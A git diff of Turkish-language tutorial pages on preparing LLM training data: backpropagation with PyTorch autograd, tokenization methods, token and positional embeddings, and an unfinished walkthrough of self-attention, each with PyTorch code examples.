|
||||
|
||||
Kayıp `L`'nin ağırlık `w` ve bias `b`'ye göre gradyanını hesaplamak istiyoruz.
|
||||
|
||||
**4. Gradyanları Manuel Olarak Hesaplama**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. Sayısal Hesaplama**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### PyTorch'ta Otomatik Türev Almayı Uygulama
|
||||
|
||||
Şimdi, PyTorch'un bu süreci nasıl otomatikleştirdiğine bakalım.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
|
||||
# Define input and target
|
||||
x = torch.tensor([1.1])
|
||||
y = torch.tensor([1.0])
|
||||
|
||||
# Initialize weights with requires_grad=True to track computations
|
||||
w = torch.tensor([2.2], requires_grad=True)
|
||||
b = torch.tensor([0.0], requires_grad=True)
|
||||
|
||||
# Forward pass
|
||||
z = x * w + b
|
||||
a = torch.sigmoid(z)
|
||||
loss = F.binary_cross_entropy(a, y)
|
||||
|
||||
# Backward pass
|
||||
loss.backward()
|
||||
|
||||
# Gradients
|
||||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Çıktı:**
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Daha Büyük Sinir Ağlarında Geri Yayılım
|
||||
|
||||
### **1. Çok Katmanlı Ağlara Genişletme**
|
||||
|
||||
Birden fazla katmana sahip daha büyük sinir ağlarında, gradyanları hesaplama süreci, artan parametre ve işlem sayısı nedeniyle daha karmaşık hale gelir. Ancak, temel ilkeler aynı kalır:
|
||||
|
||||
* **İleri Geçiş:** Girdileri her katmandan geçirerek ağın çıktısını hesaplayın.
|
||||
* **Kayıp Hesaplama:** Ağın çıktısını ve hedef etiketleri kullanarak kayıp fonksiyonunu değerlendirin.
|
||||
* **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını özyinelemeli olarak uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın.
|
||||
|
||||
### **2. Geri Yayılım Algoritması**
|
||||
|
||||
* **Adım 1:** Ağ parametrelerini (ağırlıklar ve biaslar) başlatın.
|
||||
* **Adım 2:** Her eğitim örneği için, çıktıları hesaplamak üzere bir ileri geçiş gerçekleştirin.
|
||||
* **Adım 3:** Kaybı hesaplayın.
|
||||
* **Adım 4:** Zincir kuralını kullanarak kaybın her parametreye göre gradyanlarını hesaplayın.
|
||||
* **Adım 5:** Parametreleri bir optimizasyon algoritması (örneğin, gradyan inişi) kullanarak güncelleyin.
|
||||
|
||||
### **3. Matematiksel Temsil**
|
||||
|
||||
Bir gizli katmana sahip basit bir sinir ağını düşünün:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. PyTorch Uygulaması**
|
||||
|
||||
PyTorch, bu süreci autograd motoru ile basitleştirir.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.optim as optim
|
||||
|
||||
# Define a simple neural network
|
||||
class SimpleNet(nn.Module):
|
||||
def __init__(self):
|
||||
super(SimpleNet, self).__init__()
|
||||
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
|
||||
self.relu = nn.ReLU()
|
||||
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
|
||||
self.sigmoid = nn.Sigmoid()
|
||||
|
||||
def forward(self, x):
|
||||
h = self.relu(self.fc1(x))
|
||||
y_hat = self.sigmoid(self.fc2(h))
|
||||
return y_hat
|
||||
|
||||
# Instantiate the network
|
||||
net = SimpleNet()
|
||||
|
||||
# Define loss function and optimizer
|
||||
criterion = nn.BCELoss()
|
||||
optimizer = optim.SGD(net.parameters(), lr=0.01)
|
||||
|
||||
# Sample data
|
||||
inputs = torch.randn(1, 10)
|
||||
labels = torch.tensor([1.0])
|
||||
|
||||
# Training loop
|
||||
optimizer.zero_grad() # Clear gradients
|
||||
outputs = net(inputs) # Forward pass
|
||||
loss = criterion(outputs, labels) # Compute loss
|
||||
loss.backward() # Backward pass (compute gradients)
|
||||
optimizer.step() # Update parameters
|
||||
|
||||
# Accessing gradients
|
||||
for name, param in net.named_parameters():
|
||||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
In this code:
|
||||
|
||||
* **İleri Geçiş:** Ağırlığın çıktısını hesaplar.
|
||||
* **Geri Geçiş:** `loss.backward()` kaybın tüm parametrelere göre gradyanlarını hesaplar.
|
||||
* **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara göre parametreleri günceller.
|
||||
|
||||
### **5. Geri Geçişi Anlamak**
|
||||
|
||||
Geri geçiş sırasında:
|
||||
|
||||
* PyTorch, hesaplama grafiğini ters sırayla dolaşır.
|
||||
* Her işlem için, gradyanları hesaplamak üzere zincir kuralını uygular.
|
||||
* Gradyanlar, her parametre tensörünün `.grad` niteliğinde birikir.
|
||||
|
||||
### **6. Otomatik Türev Almanın Avantajları**
|
||||
|
||||
* **Verimlilik:** Ara sonuçları yeniden kullanarak gereksiz hesaplamalardan kaçınır.
|
||||
* **Doğruluk:** Makine hassasiyetine kadar tam türevler sağlar.
|
||||
* **Kullanım Kolaylığı:** Türevlerin manuel hesaplanmasını ortadan kaldırır.
|
96
todo/llm-training-data-preparation/1.-tokenizing.md
Normal file
|
@ -0,0 +1,96 @@
|
|||
# 1. Tokenizing
|
||||
|
||||
## Tokenizing
|
||||
|
||||
**Tokenizing**, verileri, örneğin metni, daha küçük, yönetilebilir parçalara _token_ denir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında.
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu ilk aşamanın amacı çok basittir: **Girdiyi mantıklı bir şekilde token'lara (id'lere) ayırmak**.
|
||||
{% endhint %}
|
||||
|
||||
### **Tokenizing Nasıl Çalışır**
|
||||
|
||||
1. **Metni Bölme:**
|
||||
* **Temel Tokenizer:** Basit bir tokenizer, metni bireysel kelimelere ve noktalama işaretlerine ayırabilir, boşlukları kaldırır.
|
||||
* _Örnek:_\
|
||||
Metin: `"Merhaba, dünya!"`\
|
||||
Tokenlar: `["Merhaba", ",", "dünya", "!"]`
|
||||
2. **Bir Kelime Dağarcığı Oluşturma:**
|
||||
* Tokenları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz tokenları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar.
|
||||
* **Özel Tokenlar:** Bu, çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir:
|
||||
* `[BOS]` (Dizinin Başlangıcı): Bir metnin başlangıcını belirtir.
|
||||
* `[EOS]` (Dizinin Sonu): Bir metnin sonunu belirtir.
|
||||
* `[PAD]` (Doldurma): Bir partideki tüm dizileri aynı uzunlukta yapmak için kullanılır.
|
||||
* `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan tokenları temsil eder.
|
||||
* _Örnek:_\
|
||||
Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!"` `467` ise:\
|
||||
`"Merhaba, dünya!"` → `[64, 455, 78, 467]`
|
||||
* **Bilinmeyen Kelimeleri Ele Alma:**\
|
||||
Eğer `"Hoşça kal"` kelimesi kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\
|
||||
`"Hoşça kal, dünya!"` → `["[UNK]", ",", "dünya", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Varsayalım ki `[UNK]` ID `987`'dir)_
|
||||
|
||||
### **Gelişmiş Tokenizing Yöntemleri**
|
||||
|
||||
Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarcıkları ve yeni veya nadir kelimeleri ele almakta sınırlamaları vardır. Gelişmiş tokenizing yöntemleri, bu sorunları ele alarak metni daha küçük alt birimlere ayırır veya tokenizasyon sürecini optimize eder.
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
* **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak ele alır.
|
||||
* **Nasıl Çalışır:**
|
||||
* Token olarak bireysel karakterlerle başlar.
|
||||
* En sık karşılaşılan token çiftlerini tek bir token haline getirir.
|
||||
* Daha fazla sık çift birleştirilemeyecek hale gelene kadar devam eder.
|
||||
* **Faydaları:**
|
||||
* Tüm kelimelerin mevcut alt kelime tokenları ile temsil edilebilmesi nedeniyle `[UNK]` tokenına ihtiyaç duyulmaz.
|
||||
* Daha verimli ve esnek bir kelime dağarcığı.
|
||||
* _Örnek:_\
|
||||
`"oynama"` token olarak `["oyna", "ma"]` şeklinde ayrılabilir eğer `"oyna"` ve `"ma"` sık kullanılan alt kelimelerse.
|
||||
2. **WordPiece:**
|
||||
* **Kullananlar:** BERT gibi modeller.
|
||||
* **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır.
|
||||
* **Nasıl Çalışır:**
|
||||
* Bireysel karakterlerden oluşan bir temel kelime dağarcığı ile başlar.
|
||||
* Eğitim verilerinin olasılığını maksimize eden en sık alt kelimeyi iteratif olarak ekler.
|
||||
* Hangi alt kelimelerin birleştirileceğine karar vermek için olasılıksal bir model kullanır.
|
||||
* **Faydaları:**
|
||||
* Yönetilebilir bir kelime dağarcığı boyutu ile kelimeleri etkili bir şekilde temsil etme arasında denge kurar.
|
||||
* Nadir ve bileşik kelimeleri etkili bir şekilde ele alır.
|
||||
* _Örnek:_\
|
||||
`"mutsuzluk"` token olarak `["mut", "suz", "luk"]` veya `["mut", "suzluk"]` şeklinde ayrılabilir, kelime dağarcığına bağlı olarak.
|
||||
3. **Unigram Dil Modeli:**
|
||||
* **Kullananlar:** SentencePiece gibi modeller.
|
||||
* **Amaç:** En olası alt kelime token setini belirlemek için olasılıksal bir model kullanır.
|
||||
* **Nasıl Çalışır:**
|
||||
* Potansiyel tokenların büyük bir seti ile başlar.
|
||||
* Eğitim verilerinin modelin olasılığını en az artıran tokenları iteratif olarak kaldırır.
|
||||
* Her kelimenin en olası alt kelime birimleri ile temsil edildiği bir kelime dağarcığı oluşturur.
|
||||
* **Faydaları:**
|
||||
* Esnek ve dili daha doğal bir şekilde modelleyebilir.
|
||||
* Genellikle daha verimli ve kompakt tokenizasyonlar ile sonuçlanır.
|
||||
* _Örnek:_\
|
||||
`"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde ayrılabilir.
|
||||
|
||||
## Code Example
|
||||
|
||||
Bunu [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb) adresinden bir kod örneği ile daha iyi anlayalım:
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
# Tokenize the code using GPT2 tokenizer version
|
||||
import tiktoken
|
||||
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
|
||||
|
||||
# Print first 50 tokens
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
204
todo/llm-training-data-preparation/3.-token-embeddings.md
Normal file
|
@ -0,0 +1,204 @@
|
|||
# 3. Token Embeddings
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Metin verilerini tokenize ettikten sonra, GPT gibi büyük dil modelleri (LLM'ler) için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyip öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlamasını artırmada pozisyonel embedding'lerin rolünü ele alır.
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya karşılık gelecektir.\
|
||||
Her kelimenin uzaydaki konumunun başlangıçta "rastgele" başlatıldığını ve bu konumların eğitilebilir parametreler olduğunu unutmayın (eğitim sırasında geliştirilecektir).
|
||||
|
||||
Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu da (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu temsil eder**. Bu şekilde, cümledeki farklı konumlarda bir kelime farklı bir temsil (anlam) alacaktır.
|
||||
{% endhint %}
|
||||
|
||||
### **Token Embedding Nedir?**
|
||||
|
||||
**Token Embedding'leri**, token'ların sürekli bir vektör uzayındaki sayısal temsilleridir. Sözlükteki her token, sabit boyutlarda benzersiz bir vektörle ilişkilendirilir. Bu vektörler, token'lar hakkında anlamsal ve sözdizimsel bilgileri yakalar, böylece modelin verilerdeki ilişkileri ve kalıpları anlamasını sağlar.
|
||||
|
||||
* **Sözlük Boyutu:** Modelin sözlüğündeki benzersiz token'ların (örneğin, kelimeler, alt kelimeler) toplam sayısı.
|
||||
* **Embedding Boyutları:** Her token'ın vektöründeki sayısal değerlerin (boyutların) sayısı. Daha yüksek boyutlar daha ince bilgileri yakalayabilir ancak daha fazla hesaplama kaynağı gerektirir.
|
||||
|
||||
**Örnek:**
|
||||
|
||||
* **Sözlük Boyutu:** 6 token \[1, 2, 3, 4, 5, 6]
|
||||
* **Embedding Boyutları:** 3 (x, y, z)
|
||||
|
||||
### **Token Embedding'lerin Başlatılması**
|
||||
|
||||
Eğitimin başlangıcında, token embedding'leri genellikle küçük rastgele değerlerle başlatılır. Bu başlangıç değerleri, eğitim verilerine dayalı olarak token'ların anlamlarını daha iyi temsil etmek için eğitim sırasında ayarlanır (ince ayar yapılır).
|
||||
|
||||
**PyTorch Örneği:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
# Set a random seed for reproducibility
|
||||
torch.manual_seed(123)
|
||||
|
||||
# Create an embedding layer with 6 tokens and 3 dimensions
|
||||
embedding_layer = torch.nn.Embedding(6, 3)
|
||||
|
||||
# Display the initial weights (embeddings)
|
||||
print(embedding_layer.weight)
|
||||
```
|
||||
**Çıktı:**
|
||||
```lua
|
||||
luaCopy codeParameter containing:
|
||||
tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
[ 0.9178, 1.5810, 1.3010],
|
||||
[ 1.2753, -0.2010, -0.1606],
|
||||
[-0.4015, 0.9666, -1.1481],
|
||||
[-1.1589, 0.3255, -0.6315],
|
||||
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
|
||||
```
|
||||
**Açıklama:**
|
||||
|
||||
* Her satır, kelime dağarcığındaki bir token'a karşılık gelir.
|
||||
* Her sütun, gömme vektöründeki bir boyutu temsil eder.
|
||||
* Örneğin, `3` indeksindeki token'ın gömme vektörü `[-0.4015, 0.9666, -1.1481]`'dir.
|
||||
|
||||
**Bir Token'ın Gömme Vektörüne Erişim:**
|
||||
```python
|
||||
# Retrieve the embedding for the token at index 3
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
**Çıktı:**
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Yorum:**
|
||||
|
||||
* `3` indeksindeki token, `[-0.4015, 0.9666, -1.1481]` vektörü ile temsil edilmektedir.
|
||||
* Bu değerler, modelin token'ın bağlamını ve anlamını daha iyi temsil etmesi için eğitim sırasında ayarlayacağı eğitilebilir parametrelerdir.
|
||||
|
||||
### **Token Gömme İşlemleri Eğitim Sırasında Nasıl Çalışır**
|
||||
|
||||
Eğitim sırasında, giriş verilerindeki her token, karşılık gelen gömme vektörüne dönüştürülür. Bu vektörler, model içinde dikkat mekanizmaları ve sinir ağı katmanları gibi çeşitli hesaplamalarda kullanılır.
|
||||
|
||||
**Örnek Senaryo:**
|
||||
|
||||
* **Batch Boyutu:** 8 (aynı anda işlenen örnek sayısı)
|
||||
* **Maksimum Dizi Uzunluğu:** 4 (örnek başına token sayısı)
|
||||
* **Gömme Boyutları:** 256
|
||||
|
||||
**Veri Yapısı:**
|
||||
|
||||
* Her batch, `(batch_size, max_length, embedding_dim)` şeklinde 3D tensör olarak temsil edilir.
|
||||
* Örneğimiz için şekil `(8, 4, 256)` olacaktır.
|
||||
|
||||
**Görselleştirme:**
|
||||
```css
|
||||
cssCopy codeBatch
|
||||
┌─────────────┐
|
||||
│ Sample 1 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ Sample 2 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ ... │
|
||||
│ Sample 8 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
└─────────────┘
|
||||
```
|
||||
**Açıklama:**
|
||||
|
||||
* Sıra içindeki her bir token, 256 boyutlu bir vektörle temsil edilir.
|
||||
* Model, bu gömme vektörlerini işleyerek dil kalıplarını öğrenir ve tahminler üretir.
|
||||
|
||||
## **Pozisyonel Gömme: Token Gömme İçin Bağlam Eklemek**
|
||||
|
||||
Token gömmeleri bireysel tokenların anlamını yakalarken, bir dizideki tokenların konumunu doğrudan kodlamaz. Tokenların sırasını anlamak, dil anlayışı için kritik öneme sahiptir. İşte bu noktada **pozisyonel gömmeler** devreye girer.
|
||||
|
||||
### **Pozisyonel Gömme Neden Gereklidir:**
|
||||
|
||||
* **Token Sırası Önemlidir:** Cümlelerde, anlam genellikle kelimelerin sırasına bağlıdır. Örneğin, "Kedi minderde oturdu" ile "Minder kedinin üstünde oturdu."
|
||||
* **Gömme Sınırlaması:** Pozisyonel bilgi olmadan, model tokenları "kelime torbası" olarak ele alır ve sıralarını göz ardı eder.
|
||||
|
||||
### **Pozisyonel Gömme Türleri:**
|
||||
|
||||
1. **Mutlak Pozisyonel Gömme:**
|
||||
* Dizideki her bir konuma benzersiz bir pozisyon vektörü atar.
|
||||
* **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne sahiptir, ikinci token başka birine ve devam eder.
|
||||
* **Kullananlar:** OpenAI’nin GPT modelleri.
|
||||
2. **Göreli Pozisyonel Gömme:**
|
||||
* Tokenlar arasındaki göreli mesafeyi, mutlak konumları yerine kodlar.
|
||||
* **Örnek:** İki tokenın ne kadar uzak olduğunu, dizideki mutlak konumlarına bakılmaksızın belirtir.
|
||||
* **Kullananlar:** Transformer-XL gibi modeller ve bazı BERT varyantları.
|
||||
|
||||
### **Pozisyonel Gömme Nasıl Entegre Edilir:**
|
||||
|
||||
* **Aynı Boyutlar:** Pozisyonel gömmeler, token gömmeleriyle aynı boyutluluğa sahiptir.
|
||||
* **Toplama:** Token kimliğini pozisyonel bilgiyle birleştirerek, genel boyutluluğu artırmadan token gömmelerine eklenir.
|
||||
|
||||
**Pozisyonel Gömme Ekleme Örneği:**
|
||||
|
||||
Diyelim ki bir token gömme vektörü `[0.5, -0.2, 0.1]` ve pozisyonel gömme vektörü `[0.1, 0.3, -0.1]` olsun. Model tarafından kullanılan birleşik gömme şöyle olacaktır:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Pozisyonel Gömme Faydaları:**
|
||||
|
||||
* **Bağlamsal Farkındalık:** Model, token'ları konumlarına göre ayırt edebilir.
|
||||
* **Dizi Anlayışı:** Modelin dilbilgisi, sözdizimi ve bağlama bağlı anlamları anlamasını sağlar.
|
||||
|
||||
## Kod Örneği
|
||||
|
||||
Aşağıda [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb) adresinden alınan kod örneği ile devam edilmektedir:
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
# Create dimensional emdeddings
|
||||
"""
|
||||
BPE uses a vocabulary of 50257 words
|
||||
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
|
||||
"""
|
||||
|
||||
vocab_size = 50257
|
||||
output_dim = 256
|
||||
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
|
||||
|
||||
## Generate the dataloader like before
|
||||
max_length = 4
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=max_length,
|
||||
stride=max_length, shuffle=False
|
||||
)
|
||||
data_iter = iter(dataloader)
|
||||
inputs, targets = next(data_iter)
|
||||
|
||||
# Apply embeddings
|
||||
token_embeddings = token_embedding_layer(inputs)
|
||||
print(token_embeddings.shape)
|
||||
torch.Size([8, 4, 256]) # 8 x 4 x 256
|
||||
|
||||
# Generate absolute embeddings
|
||||
context_length = max_length
|
||||
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
|
||||
|
||||
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
420
todo/llm-training-data-preparation/4.-attention-mechanisms.md
Normal file
|
@ -0,0 +1,420 @@
|
|||
# 4. Dikkat Mekanizmaları
|
||||
|
||||
## Dikkat Mekanizmaları ve Sinir Ağlarındaki Kendine Dikkat
|
||||
|
||||
Dikkat mekanizmaları, sinir ağlarının **her bir çıktıyı üretirken girdinin belirli kısımlarına odaklanmasını** sağlar. Farklı girdilere farklı ağırlıklar atayarak, modelin mevcut görevle en ilgili girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **kelimenin kelime dağarcığındaki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.**\
|
||||
Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacak.
|
||||
{% endhint %}
|
||||
|
||||
### Dikkat Mekanizmalarını Anlamak
|
||||
|
||||
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir giriş dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her bir çıktı tokenini üretirken tüm giriş tokenlerini dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
|
||||
|
||||
#### Örnek: Makine Çevirisi
|
||||
|
||||
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmeyecektir. Bir dikkat mekanizması, modelin çıktı cümlesinin her bir kelimesini üretirken giriş cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
|
||||
|
||||
### Kendine Dikkate Giriş
|
||||
|
||||
Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her tokenin diğer tüm tokenlere dikkat etmesine olanak tanır ve modelin tokenler arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
|
||||
|
||||
#### Temel Kavramlar
|
||||
|
||||
* **Tokenler**: Giriş dizisinin bireysel elemanları (örneğin, bir cümledeki kelimeler).
|
||||
* **Gömme**: Anlamsal bilgiyi yakalayan tokenlerin vektör temsilleri.
|
||||
* **Dikkat Ağırlıkları**: Her tokenin diğerlerine göre önemini belirleyen değerler.
|
||||
|
||||
### Dikkat Ağırlıklarını Hesaplama: Adım Adım Bir Örnek
|
||||
|
||||
**"Hello shiny sun!"** cümlesini ele alalım ve her kelimeyi 3 boyutlu bir gömme ile temsil edelim:
|
||||
|
||||
* **Hello**: `[0.34, 0.22, 0.54]`
|
||||
* **shiny**: `[0.53, 0.34, 0.98]`
|
||||
* **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Amacımız **"shiny"** kelimesi için kendine dikkat kullanarak **bağlam vektörünü** hesaplamaktır.
|
||||
|
||||
#### Adım 1: Dikkat Puanlarını Hesapla
|
||||
|
||||
{% hint style="success" %}
|
||||
Sadece sorgunun her boyut değerini ilgili tokenin her boyutuyla çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
|
||||
{% endhint %}
|
||||
|
||||
Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin noktasal çarpımını hesaplayarak hesaplayın.
|
||||
|
||||
**"Hello" ve "shiny" Arasındaki Dikkat Puanı**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**"shiny" ve "shiny" Arasındaki Dikkat Puanı**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**"sun" ve "shiny" Arasındaki Dikkat Puanı**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Adım 2: Dikkat Puanlarını Normalleştirerek Dikkat Ağırlıklarını Elde Et
|
||||
|
||||
{% hint style="success" %}
|
||||
Matematiksel terimlerde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**.
|
||||
|
||||
Ayrıca, **softmax** fonksiyonu kullanılır çünkü bu, üstel kısım nedeniyle farklılıkları vurgular ve faydalı değerleri tespit etmeyi kolaylaştırır.
|
||||
{% endhint %}
|
||||
|
||||
Dikkat puanlarına **softmax fonksiyonunu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Üstel değerleri hesaplama:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Toplamı hesaplama:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Dikkat ağırlıklarını hesaplama:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Adım 3: Bağlam Vektörünü Hesapla
|
||||
|
||||
{% hint style="success" %}
|
||||
Her dikkat ağırlığını alıp ilgili token boyutlarıyla çarpın ve ardından tüm boyutları toplayarak sadece 1 vektör (bağlam vektörü) elde edin. 
|
||||
{% endhint %}
|
||||
|
||||
**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır ve dikkat ağırlıkları kullanılır.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Her bileşeni hesaplama:
|
||||
|
||||
* **"Hello" için Ağırlıklı Gömme**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **"shiny" için Ağırlıklı Gömme**:
